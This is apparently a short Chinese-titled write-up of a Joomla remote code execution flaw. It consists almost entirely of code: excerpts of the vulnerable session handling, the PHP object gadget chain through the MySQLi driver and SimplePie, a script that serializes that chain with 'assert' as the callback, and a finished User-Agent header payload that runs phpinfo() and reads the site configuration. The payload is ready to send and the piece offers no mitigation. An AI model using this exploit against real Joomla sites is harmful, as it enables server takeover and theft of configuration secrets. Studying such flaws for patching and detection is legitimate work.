Joomla远程代码执行漏洞分析（总结）

<?php
protected function _validate($restart = false)
    {
        ...

        // Record proxy forwarded for in the session in case we need it later
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
        }

        ...
        // Check for clients browser
        if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
        {
            $browser = $this->get('session.client.browser');

            if ($browser === null)
            {
                $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
            }
            elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
            {
                // @todo remove code: $this->_state = 'error';
                // @todo remove code: return false;
            }
        } 

<?php
public function __destruct()
    {
        $this->disconnect();
    }
    ...
    public function disconnect()
    {
        // Close the connection.
        if ($this->connection)
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }

            mysqli_close($this->connection);
        }

        $this->connection = null;
    } 

<?php
function init()
    {
        // Check absolute bare minimum requirements.
        if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
        {
            return false;
        }
        ...
        if ($this->feed_url !== null || $this->raw_data !== null)
        {
            $this->data = array();
            $this->multifeed_objects = array();
            $cache = false;

            if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                // Decide whether to enable caching
                if ($this->cache && $parsed_feed_url['scheme'] !== '')
                {
                    $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
                } 

<?php
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
echo serialize($a); 

<?php
$result = str_replace('', chr(0) . '*' . chr(0), $result); 

User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"connection";i:1;}𝌆